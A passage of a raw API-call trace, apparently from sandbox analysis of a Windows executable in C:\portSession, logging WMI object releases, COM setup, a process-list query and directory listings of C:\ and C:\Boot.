pToken=0x1a94ee20 | out: pToken=0x1a94ee20) returned 0x0 [0138.370] WbemDefPath:IUnknown:Release (This=0x352400) returned 0x1 [0138.370] WbemDefPath:IUnknown:Release (This=0x352400) returned 0x0 [0138.370] CoGetContextToken (in: pToken=0x1a94ee20 | out: pToken=0x1a94ee20) returned 0x0 [0138.370] WbemDefPath:IUnknown:Release (This=0x351080) returned 0x1 [0138.370] WbemDefPath:IUnknown:Release (This=0x351080) returned 0x0 [0138.370] CoGetContextToken (in: pToken=0x1a94ee20 | out: pToken=0x1a94ee20) returned 0x0 [0138.370] WbemDefPath:IUnknown:Release (This=0x351ec0) returned 0x1 [0138.370] WbemDefPath:IUnknown:Release (This=0x351ec0) returned 0x0 [0138.370] CoGetContextToken (in: pToken=0x1a94ee20 | out: pToken=0x1a94ee20) returned 0x0 [0138.370] WbemDefPath:IUnknown:Release (This=0x1b4550f0) returned 0x1 [0138.370] WbemDefPath:IUnknown:Release (This=0x1b4550f0) returned 0x0 [0138.370] CoGetContextToken (in: pToken=0x1a94ee20 | out: pToken=0x1a94ee20) returned 0x0 [0138.370] WbemDefPath:IUnknown:Release (This=0x352340) returned 0x1 [0138.370] WbemDefPath:IUnknown:Release (This=0x352340) returned 0x0 [0138.371] CoGetContextToken (in: pToken=0x1a94ee20 | out: pToken=0x1a94ee20) returned 0x0 [0138.371] WbemDefPath:IUnknown:Release (This=0x2a2c40) returned 0x1 [0138.371] WbemDefPath:IUnknown:Release (This=0x2a2c40) returned 0x0 [0138.371] CoGetContextToken (in: pToken=0x1a94ee20 | out: pToken=0x1a94ee20) returned 0x0 [0138.371] WbemDefPath:IUnknown:Release (This=0x352c40) returned 0x1 [0138.371] WbemDefPath:IUnknown:Release (This=0x352c40) returned 0x0 [0138.371] CoGetContextToken (in: pToken=0x1a94ee20 | out: pToken=0x1a94ee20) returned 0x0 [0138.371] WbemDefPath:IUnknown:Release (This=0x2a2b80) returned 0x1 [0138.371] WbemDefPath:IUnknown:Release (This=0x2a2b80) returned 0x0 [0138.371] CoGetContextToken (in: pToken=0x1a94ee20 | out: pToken=0x1a94ee20) returned 0x0 [0138.371] WbemDefPath:IUnknown:Release (This=0x351440) returned 0x1 [0138.371] WbemDefPath:IUnknown:Release (This=0x351440) returned 0x0 [0138.371] CoGetContextToken (in: pToken=0x1a94ee20 | out: pToken=0x1a94ee20) returned 0x0 [0138.371] WbemDefPath:IUnknown:Release (This=0x352280) returned 0x1 [0138.371] WbemDefPath:IUnknown:Release (This=0x352280) returned 0x0 [0138.371] CoGetContextToken (in: pToken=0x1a94ee20 | out: pToken=0x1a94ee20) returned 0x0 [0138.371] WbemDefPath:IUnknown:Release (This=0x3518c0) returned 0x1 [0138.372] WbemDefPath:IUnknown:Release (This=0x3518c0) returned 0x0 [0138.372] CoGetContextToken (in: pToken=0x1a94ee20 | out: pToken=0x1a94ee20) returned 0x0 [0138.372] WbemDefPath:IUnknown:Release (This=0x350f00) returned 0x1 [0138.372] WbemDefPath:IUnknown:Release (This=0x350f00) returned 0x0 [0138.372] CoGetContextToken (in: pToken=0x1a94ee20 | out: pToken=0x1a94ee20) returned 0x0 [0138.372] WbemDefPath:IUnknown:Release (This=0x352b80) returned 0x1 [0138.372] WbemDefPath:IUnknown:Release (This=0x352b80) returned 0x0 [0138.372] CoGetContextToken (in: pToken=0x1a94ee20 | out: pToken=0x1a94ee20) returned 0x0 [0138.372] WbemDefPath:IUnknown:Release (This=0x351380) returned 0x1 [0138.372] WbemDefPath:IUnknown:Release (This=0x351380) returned 0x0 [0138.372] CoGetContextToken (in: pToken=0x1a94ee20 | out: pToken=0x1a94ee20) returned 0x0 [0138.372] WbemDefPath:IUnknown:Release (This=0x352640) returned 0x1 [0138.372] WbemDefPath:IUnknown:Release (This=0x352640) returned 0x0 [0138.372] CoGetContextToken (in: pToken=0x1a94ee20 | out: pToken=0x1a94ee20) returned 0x0 [0138.372] WbemDefPath:IUnknown:Release (This=0x2a2ac0) returned 0x1 [0138.372] WbemDefPath:IUnknown:Release (This=0x2a2ac0) returned 0x0 [0138.373] CoGetContextToken (in: pToken=0x1a94ee20 | out: pToken=0x1a94ee20) returned 0x0 [0138.373] WbemDefPath:IUnknown:Release (This=0x350e40) returned 0x1 [0138.373] WbemDefPath:IUnknown:Release (This=0x350e40) returned 0x0 [0138.373] CoGetContextToken (in: pToken=0x1a94ee20 | out: pToken=0x1a94ee20) returned 0x0 [0138.373] WbemDefPath:IUnknown:Release (This=0x352ac0) returned 0x1 [0138.373] WbemDefPath:IUnknown:Release (This=0x352ac0) returned 0x0 [0138.373] CoGetContextToken (in: pToken=0x1a94ef20 | out: pToken=0x1a94ef20) returned 0x0 [0138.373] CoGetContextToken (in: pToken=0x1a94ee20 | out: pToken=0x1a94ee20) returned 0x0 [0138.373] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::Release () returned 0x2 [0138.373] Release () returned 0x1 [0138.373] CoGetContextToken (in: pToken=0x1a94ef20 | out: pToken=0x1a94ef20) returned 0x0 [0138.373] CoGetContextToken (in: pToken=0x1a94ee20 | out: pToken=0x1a94ee20) returned 0x0 [0138.373] WbemLocator:IUnknown:Release (This=0x3497a8) returned 0x1 [0138.373] WbemLocator:IUnknown:Release (This=0x1b4037e0) returned 0x0 [0138.375] CoGetContextToken (in: pToken=0x1a94ee20 | out: pToken=0x1a94ee20) returned 0x0 [0138.375] WbemLocator:IUnknown:Release (This=0x1b3dddb8) returned 0x1 [0138.375] WbemLocator:IUnknown:Release (This=0x1b403090) returned 0x0 [0138.377] CoGetContextToken (in: pToken=0x1a94ee20 | out: pToken=0x1a94ee20) returned 0x0 [0138.377] WbemLocator:IUnknown:Release (This=0x1b459d58) returned 0x1 [0138.377] WbemLocator:IUnknown:Release (This=0x1b3e26b0) returned 0x0 [0138.382] CoGetContextToken (in: pToken=0x1a94ee20 | out: pToken=0x1a94ee20) returned 0x0 [0138.382] WbemLocator:IUnknown:Release (This=0x1b424848) returned 0x1 [0138.382] WbemLocator:IUnknown:Release (This=0x1b4035a0) returned 0x0 [0138.384] CoGetContextToken (in: pToken=0x1a94ee20 | out: pToken=0x1a94ee20) returned 0x0 [0138.384] WbemLocator:IUnknown:Release (This=0x1b452518) returned 0x1 [0138.384] WbemLocator:IUnknown:Release (This=0x1b403900) returned 0x0 [0138.394] CoGetContextToken (in: pToken=0x1a94ee20 | out: pToken=0x1a94ee20) returned 0x0 [0138.394] WbemLocator:IUnknown:Release (This=0x1b442958) returned 0x1 [0138.394] WbemLocator:IUnknown:Release (This=0x1b3e2470) returned 0x0 [0138.398] CoGetContextToken (in: pToken=0x1a94ee20 | out: pToken=0x1a94ee20) returned 0x0 [0138.398] WbemLocator:IUnknown:Release (This=0x1b459398) returned 0x1 [0138.398] WbemLocator:IUnknown:Release (This=0x1b4032d0) returned 0x0 [0138.403] CoGetContextToken (in: pToken=0x1a94ee20 | out: pToken=0x1a94ee20) returned 0x0 [0138.403] WbemLocator:IUnknown:Release (This=0x36b3b8) returned 0x1 [0138.403] WbemLocator:IUnknown:Release (This=0x1b403750) returned 0x0 [0138.433] CoGetContextToken (in: pToken=0x1a94ee20 | out: pToken=0x1a94ee20) returned 0x0 [0138.433] WbemLocator:IUnknown:Release (This=0x1b3bf138) returned 0x1 [0138.433] WbemLocator:IUnknown:Release (This=0x1b403120) returned 0x0 [0138.434] IUnknown:Release (This=0x3111c0) returned 0x0 Thread: id = 35 os_tid = 0x120c Thread: id = 36 os_tid = 0x870 Thread: id = 37 os_tid = 0x1160 Thread: id = 38 os_tid = 0x1208 [0099.030] CoInitializeEx (pvReserved=0x0, dwCoInit=0x0) returned 0x0 [0099.031] CoGetContextToken (in: pToken=0x1b10f4f0 | out: pToken=0x1b10f4f0) returned 0x0 [0099.031] CObjectContext::QueryInterface () returned 0x0 [0099.031] CObjectContext::GetCurrentThreadType () returned 0x0 [0099.031] Release () returned 0x0 [0099.031] CoInitializeEx (pvReserved=0x0, dwCoInit=0x0) returned 0x1 [0099.032] CoUninitialize () [0099.032] RoInitialize () returned 0x1 [0099.032] RoUninitialize () returned 0x0 [0100.252] RegOpenKeyExW (in: hKey=0xffffffff80000002, lpSubKey="SOFTWARE\\Microsoft\\.NETFramework\\AppContext", ulOptions=0x0, samDesired=0x20019, phkResult=0x1b10ba08 | out: phkResult=0x1b10ba08*=0x0) returned 0x2 [0100.257] GetFullPathNameW (in: lpFileName="C:\\portSession\\componentnet.exe", nBufferLength=0x105, lpBuffer=0x1b10e440, lpFilePart=0x0 | out: lpBuffer="C:\\portSession\\componentnet.exe", lpFilePart=0x0) returned 0x1f [0123.740] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x131358d0, Length=0x20000, ResultLength=0x1b10d6c0 | out: SystemInformation=0x131358d0, ResultLength=0x1b10d6c0*=0x1cb48) returned 0x0 [0123.992] GetFullPathNameW (in: lpFileName="C:\\portSession\\e2b0beb01796ef", nBufferLength=0x105, lpBuffer=0x1b10e420, lpFilePart=0x0 | out: lpBuffer="C:\\portSession\\e2b0beb01796ef", lpFilePart=0x0) returned 0x1d [0123.992] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1b10e870) returned 1 [0123.993] GetFileAttributesExW (in: lpFileName="C:\\portSession\\e2b0beb01796ef" (normalized: "c:\\portsession\\e2b0beb01796ef"), fInfoLevelId=0x0, lpFileInformation=0x1b10e950 | out: lpFileInformation=0x1b10e950*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0 [0123.994] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1b10e830) returned 1 [0124.078] CoTaskMemAlloc (cb=0x20c) returned 0x1b3f2890 [0124.079] GetSystemDirectoryW (in: lpBuffer=0x1b3f2890, uSize=0x104 | out: lpBuffer="C:\\Windows\\system32") returned 0x13 [0124.079] CoTaskMemFree (pv=0x1b3f2890) [0124.108] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1b10df40) returned 1 [0124.109] GetFullPathNameW (in: lpFileName="C:\\", nBufferLength=0x105, lpBuffer=0x1b10da20, lpFilePart=0x0 | out: lpBuffer="C:\\", lpFilePart=0x0) returned 0x3 [0124.113] FindFirstFileW (in: lpFileName="C:\\*" (normalized: "c:\\*"), lpFindFileData=0x1b10dc50 | out: lpFindFileData=0x1b10dc50*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0xbaec25, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xbaec25, ftLastAccessTime.dwHighDateTime=0x1d112e4, ftLastWriteTime.dwLowDateTime=0xbaec25, ftLastWriteTime.dwHighDateTime=0x1d112e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="$Recycle.Bin", cAlternateFileName="")) returned 0x1b3e7030 [0124.115] FindNextFileW (in: hFindFile=0x1b3e7030, lpFindFileData=0x1b10dc10 | out: lpFindFileData=0x1b10dc10*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0x7898476d, ftCreationTime.dwHighDateTime=0x1d700aa, ftLastAccessTime.dwLowDateTime=0x78b27f82, ftLastAccessTime.dwHighDateTime=0x1d700aa, ftLastWriteTime.dwLowDateTime=0x78b27f82, ftLastWriteTime.dwHighDateTime=0x1d700aa, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Boot", cAlternateFileName="")) returned 1 [0124.116] FindNextFileW (in: hFindFile=0x1b3e7030, lpFindFileData=0x1b10dc10 | out: lpFindFileData=0x1b10dc10*(dwFileAttributes=0x27, ftCreationTime.dwLowDateTime=0xe47a48a8, ftCreationTime.dwHighDateTime=0x1d112ea, ftLastAccessTime.dwLowDateTime=0x78ab5a49, ftLastAccessTime.dwHighDateTime=0x1d700aa, ftLastWriteTime.dwLowDateTime=0x2feb42d5, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x61b64, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr", cAlternateFileName="")) returned 1 [0124.116] FindNextFileW (in: hFindFile=0x1b3e7030, lpFindFileData=0x1b10dc10 | out: lpFindFileData=0x1b10dc10*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0xe5533ee0, ftCreationTime.dwHighDateTime=0x1d112ea, ftLastAccessTime.dwLowDateTime=0x78b27f82, ftLastAccessTime.dwHighDateTime=0x1d700aa, ftLastWriteTime.dwLowDateTime=0x2feb42d5, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x1, dwReserved0=0x0, dwReserved1=0x0, cFileName="BOOTNXT", cAlternateFileName="")) returned 1 [0124.116] FindNextFileW (in: hFindFile=0x1b3e7030, lpFindFileData=0x1b10dc10 | out: lpFindFileData=0x1b10dc10*(dwFileAttributes=0x27, ftCreationTime.dwLowDateTime=0x78d17e5a, ftCreationTime.dwHighDateTime=0x1d700aa, ftLastAccessTime.dwLowDateTime=0x78d17e5a, ftLastAccessTime.dwHighDateTime=0x1d700aa, ftLastWriteTime.dwLowDateTime=0x78d17e5a, ftLastWriteTime.dwHighDateTime=0x1d700aa, nFileSizeHigh=0x0, nFileSizeLow=0x2000, dwReserved0=0x0, dwReserved1=0x0, cFileName="BOOTSECT.BAK", cAlternateFileName="")) returned 1 [0124.116] FindNextFileW (in: hFindFile=0x1b3e7030, lpFindFileData=0x1b10dc10 | out: lpFindFileData=0x1b10dc10*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0xa1317bed, ftCreationTime.dwHighDateTime=0x1d99cf2, ftLastAccessTime.dwLowDateTime=0xf974ba53, ftLastAccessTime.dwHighDateTime=0x1d99cf3, ftLastWriteTime.dwLowDateTime=0xf974ba53, ftLastWriteTime.dwHighDateTime=0x1d99cf3, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Config.Msi", cAlternateFileName="")) returned 1 [0124.117] FindNextFileW (in: hFindFile=0x1b3e7030, lpFindFileData=0x1b10dc10 | out: lpFindFileData=0x1b10dc10*(dwFileAttributes=0x2416, ftCreationTime.dwLowDateTime=0x5d599f22, ftCreationTime.dwHighDateTime=0x1d7005f, ftLastAccessTime.dwLowDateTime=0x5d599f22, ftLastAccessTime.dwHighDateTime=0x1d7005f, ftLastWriteTime.dwLowDateTime=0x5d599f22, ftLastWriteTime.dwHighDateTime=0x1d7005f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Documents and Settings", cAlternateFileName="DOCUME~1")) returned 1 [0124.117] FindNextFileW (in: hFindFile=0x1b3e7030, lpFindFileData=0x1b10dc10 | out: lpFindFileData=0x1b10dc10*(dwFileAttributes=0x2026, ftCreationTime.dwLowDateTime=0x551dbbfd, ftCreationTime.dwHighDateTime=0x1d7005f, ftLastAccessTime.dwLowDateTime=0x551dbbfd, ftLastAccessTime.dwHighDateTime=0x1d7005f, ftLastWriteTime.dwLowDateTime=0x1e1f9623, ftLastWriteTime.dwHighDateTime=0x1d99d1c, nFileSizeHigh=0x0, nFileSizeLow=0x332fe000, dwReserved0=0x0, dwReserved1=0x0, cFileName="hiberfil.sys", cAlternateFileName="")) returned 1 [0124.117] FindNextFileW (in: hFindFile=0x1b3e7030, lpFindFileData=0x1b10dc10 | out: lpFindFileData=0x1b10dc10*(dwFileAttributes=0x2013, ftCreationTime.dwLowDateTime=0x4cb5cae1, ftCreationTime.dwHighDateTime=0x1d99cf3, ftLastAccessTime.dwLowDateTime=0x4cba8e1e, ftLastAccessTime.dwHighDateTime=0x1d99cf3, ftLastWriteTime.dwLowDateTime=0x4cba8e1e, ftLastWriteTime.dwHighDateTime=0x1d99cf3, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSOCache", cAlternateFileName="")) returned 1 [0124.117] FindNextFileW (in: hFindFile=0x1b3e7030, lpFindFileData=0x1b10dc10 | out: lpFindFileData=0x1b10dc10*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x85890a37, ftCreationTime.dwHighDateTime=0x1d700aa, ftLastAccessTime.dwLowDateTime=0x85890a37, ftLastAccessTime.dwHighDateTime=0x1d700aa, ftLastWriteTime.dwLowDateTime=0x1f2a7203, ftLastWriteTime.dwHighDateTime=0x1d99d1c, nFileSizeHigh=0x0, nFileSizeLow=0x48000000, dwReserved0=0x0, dwReserved1=0x0, cFileName="pagefile.sys", cAlternateFileName="")) returned 1 [0124.118] FindNextFileW (in: hFindFile=0x1b3e7030, lpFindFileData=0x1b10dc10 | out: lpFindFileData=0x1b10dc10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xbaec25, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xbaec25, ftLastAccessTime.dwHighDateTime=0x1d112e4, ftLastWriteTime.dwLowDateTime=0xbaec25, ftLastWriteTime.dwHighDateTime=0x1d112e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="PerfLogs", cAlternateFileName="")) returned 1 [0124.118] FindNextFileW (in: hFindFile=0x1b3e7030, lpFindFileData=0x1b10dc10 | out: lpFindFileData=0x1b10dc10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe5db15d6, ftCreationTime.dwHighDateTime=0x1d9eb0b, ftLastAccessTime.dwLowDateTime=0xe62a7e2b, ftLastAccessTime.dwHighDateTime=0x1d9eb0b, ftLastWriteTime.dwLowDateTime=0xe62a7e2b, ftLastWriteTime.dwHighDateTime=0x1d9eb0b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="portSession", cAlternateFileName="PORTSE~1")) returned 1 [0124.118] FindNextFileW (in: hFindFile=0x1b3e7030, lpFindFileData=0x1b10dc10 | out: lpFindFileData=0x1b10dc10*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x31bae0f4, ftCreationTime.dwHighDateTime=0x1d112dc, ftLastAccessTime.dwLowDateTime=0x1aa2f4d, ftLastAccessTime.dwHighDateTime=0x1d99d1d, ftLastWriteTime.dwLowDateTime=0x1aa2f4d, ftLastWriteTime.dwHighDateTime=0x1d99d1d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Program Files", cAlternateFileName="PROGRA~1")) returned 1 [0124.118] FindNextFileW (in: hFindFile=0x1b3e7030, lpFindFileData=0x1b10dc10 | out: lpFindFileData=0x1b10dc10*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x31bae0f4, ftCreationTime.dwHighDateTime=0x1d112dc, ftLastAccessTime.dwLowDateTime=0xb62d6190, ftLastAccessTime.dwHighDateTime=0x1d99cf3, ftLastWriteTime.dwLowDateTime=0xb62d6190, ftLastWriteTime.dwHighDateTime=0x1d99cf3, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Program Files (x86)", cAlternateFileName="PROGRA~2")) returned 1 [0124.119] FindNextFileW (in: hFindFile=0x1b3e7030, lpFindFileData=0x1b10dc10 | out: lpFindFileData=0x1b10dc10*(dwFileAttributes=0x12, ftCreationTime.dwLowDateTime=0xcb9c8f, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xa4af3a5b, ftLastAccessTime.dwHighDateTime=0x1d8c106, ftLastWriteTime.dwLowDateTime=0xa4af3a5b, ftLastWriteTime.dwHighDateTime=0x1d8c106, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ProgramData", cAlternateFileName="PROGRA~3")) returned 1 [0124.119] FindNextFileW (in: hFindFile=0x1b3e7030, lpFindFileData=0x1b10dc10 | out: lpFindFileData=0x1b10dc10*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0xbaa998b0, ftCreationTime.dwHighDateTime=0x1d700aa, ftLastAccessTime.dwLowDateTime=0xbadba904, ftLastAccessTime.dwHighDateTime=0x1d700aa, ftLastWriteTime.dwLowDateTime=0xbadba904, ftLastWriteTime.dwHighDateTime=0x1d700aa, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Recovery", cAlternateFileName="")) returned 1 [0124.119] FindNextFileW (in: hFindFile=0x1b3e7030, lpFindFileData=0x1b10dc10 | out: lpFindFileData=0x1b10dc10*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x858b6c65, ftCreationTime.dwHighDateTime=0x1d700aa, ftLastAccessTime.dwLowDateTime=0x858b6c65, ftLastAccessTime.dwHighDateTime=0x1d700aa, ftLastWriteTime.dwLowDateTime=0x1f2cd480, ftLastWriteTime.dwHighDateTime=0x1d99d1c, nFileSizeHigh=0x0, nFileSizeLow=0x10000000, dwReserved0=0x0, dwReserved1=0x0, cFileName="swapfile.sys", cAlternateFileName="")) returned 1 [0124.119] FindNextFileW (in: hFindFile=0x1b3e7030, lpFindFileData=0x1b10dc10 | out: lpFindFileData=0x1b10dc10*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0x85289733, ftCreationTime.dwHighDateTime=0x1d700aa, ftLastAccessTime.dwLowDateTime=0x2dbfc137, ftLastAccessTime.dwHighDateTime=0x1d70505, ftLastWriteTime.dwLowDateTime=0x2dbfc137, ftLastWriteTime.dwHighDateTime=0x1d70505, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="System Volume Information", cAlternateFileName="SYSTEM~1")) returned 1 [0124.119] FindNextFileW (in: hFindFile=0x1b3e7030, lpFindFileData=0x1b10dc10 | out: lpFindFileData=0x1b10dc10*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x31bae0f4, ftCreationTime.dwHighDateTime=0x1d112dc, ftLastAccessTime.dwLowDateTime=0x3ce179de, ftLastAccessTime.dwHighDateTime=0x1d70068, ftLastWriteTime.dwLowDateTime=0x3ce179de, ftLastWriteTime.dwHighDateTime=0x1d70068, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Users", cAlternateFileName="")) returned 1 [0124.119] FindNextFileW (in: hFindFile=0x1b3e7030, lpFindFileData=0x1b10dc10 | out: lpFindFileData=0x1b10dc10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x31bae0f4, ftCreationTime.dwHighDateTime=0x1d112dc, ftLastAccessTime.dwLowDateTime=0x1cdcce1, ftLastAccessTime.dwHighDateTime=0x1d99d1d, ftLastWriteTime.dwLowDateTime=0x1cdcce1, ftLastWriteTime.dwHighDateTime=0x1d99d1d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Windows", cAlternateFileName="")) returned 1 [0124.120] FindNextFileW (in: hFindFile=0x1b3e7030, lpFindFileData=0x1b10dc10 | out: lpFindFileData=0x1b10dc10*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0124.120] FindClose (in: hFindFile=0x1b3e7030 | out: hFindFile=0x1b3e7030) returned 1 [0124.120] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1b10de70) returned 1 [0124.120] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1b10de30) returned 1 [0124.233] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1b10df40) returned 1 [0124.233] GetFullPathNameW (in: lpFileName="C:\\Boot", nBufferLength=0x105, lpBuffer=0x1b10da20, lpFilePart=0x0 | out: lpBuffer="C:\\Boot", lpFilePart=0x0) returned 0x7 [0124.233] FindFirstFileW (in: lpFileName="C:\\Boot\\*" (normalized: "c:\\boot\\*"), lpFindFileData=0x1b10dc50 | out: lpFindFileData=0x1b10dc50*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0x7898476d, ftCreationTime.dwHighDateTime=0x1d700aa, ftLastAccessTime.dwLowDateTime=0x78b74525, ftLastAccessTime.dwHighDateTime=0x1d700aa, ftLastWriteTime.dwLowDateTime=0x78b74525, ftLastWriteTime.dwHighDateTime=0x1d700aa, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1b3e67f0 [0124.234] FindNextFileW (in: hFindFile=0x1b3e67f0, lpFindFileData=0x1b10dc10 | out: lpFindFileData=0x1b10dc10*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0x7898476d, ftCreationTime.dwHighDateTime=0x1d700aa, ftLastAccessTime.dwLowDateTime=0x78b74525, ftLastAccessTime.dwHighDateTime=0x1d700aa, ftLastWriteTime.dwLowDateTime=0x78b74525, ftLastWriteTime.dwHighDateTime=0x1d700aa, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0124.236] FindNextFileW (in: hFindFile=0x1b3e67f0, lpFindFileData=0x1b10dc10 | out: lpFindFileData=0x1b10dc10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x78b74525, ftCreationTime.dwHighDateTime=0x1d700aa, ftLastAccessTime.dwLowDateTime=0x30150ea8, ftLastAccessTime.dwHighDateTime=0x1d99d0a, ftLastWriteTime.dwLowDateTime=0x30150ea8, ftLastWriteTime.dwHighDateTime=0x1d99d0a, nFileSizeHigh=0x0, nFileSizeLow=0x6000, dwReserved0=0x0, dwReserved1=0x0, cFileName="BCD", cAlternateFileName="")) returned 1 [0124.237] FindNextFileW (in: hFindFile=0x1b3e67f0, lpFindFileData=0x1b10dc10 | out: lpFindFileData=0x1b10dc10*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x78b74525, ftCreationTime.dwHighDateTime=0x1d700aa, ftLastAccessTime.dwLowDateTime=0x78b74525, ftLastAccessTime.dwHighDateTime=0x1d700aa, ftLastWriteTime.dwLowDateTime=0x78b74525, ftLastWriteTime.dwHighDateTime=0x1d700aa, nFileSizeHigh=0x0, nFileSizeLow=0x8000, dwReserved0=0x0, dwReserved1=0x0, cFileName="BCD.LOG", cAlternateFileName="")) returned 1 [0124.237] FindNextFileW (in: hFindFile=0x1b3e67f0, lpFindFileData=0x1b10dc10 | out: lpFindFileData=0x1b10dc10*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x78b74525, ftCreationTime.dwHighDateTime=0x1d700aa, ftLastAccessTime.dwLowDateTime=0x78b74525, ftLastAccessTime.dwHighDateTime=0x1d700aa, ftLastWriteTime.dwLowDateTime=0x78b74525, ftLastWriteTime.dwHighDateTime=0x1d700aa, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="BCD.LOG1", cAlternateFileName="BCD~1.LOG")) returned 1 [0124.237] FindNextFileW (in: hFindFile=0x1b3e67f0, lpFindFileData=0x1b10dc10 | out: lpFindFileData=0x1b10dc10*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x78b74525, ftCreationTime.dwHighDateTime=0x1d700aa, ftLastAccessTime.dwLowDateTime=0x78b74525, ftLastAccessTime.dwHighDateTime=0x1d700aa, ftLastWriteTime.dwLowDateTime=0x78b74525, ftLastWriteTime.dwHighDateTime=0x1d700aa, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="BCD.LOG2", cAlternateFileName="BCD~2.LOG")) returned 1 [0124.237] FindNextFileW (in: hFindFile=0x1b3e67f0, lpFindFileData=0x1b10dc10 | out: lpFindFileData=0x1b10dc10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7898476d, ftCreationTime.dwHighDateTime=0x1d700aa, ftLastAccessTime.dwLowDateTime=0x7898476d, ftLastAccessTime.dwHighDateTime=0x1d700aa, ftLastWriteTime.dwLowDateTime=0x7898476d, ftLastWriteTime.dwHighDateTime=0x1d700aa, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="bg-BG", cAlternateFileName="")) returned 1 [0124.237] FindNextFileW (in: hFindFile=0x1b3e67f0, lpFindFileData=0x1b10dc10 | out: lpFindFileData=0x1b10dc10*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x78ab5a49, ftCreationTime.dwHighDateTime=0x1d700aa, ftLastAccessTime.dwLowDateTime=0x78ab5a49, ftLastAccessTime.dwHighDateTime=0x1d700aa, ftLastWriteTime.dwLowDateTime=0x78ab5a49, ftLastWriteTime.dwHighDateTime=0x1d700aa, nFileSizeHigh=0x0, nFileSizeLow=0x10000, dwReserved0=0x0, dwReserved1=0x0, cFileName="BOOTSTAT.DAT", cAlternateFileName="")) returned 1 [0124.238] FindNextFileW (in: hFindFile=0x1b3e67f0, lpFindFileData=0x1b10dc10 | out: lpFindFileData=0x1b10dc10*(dwFileAttributes=0x20, 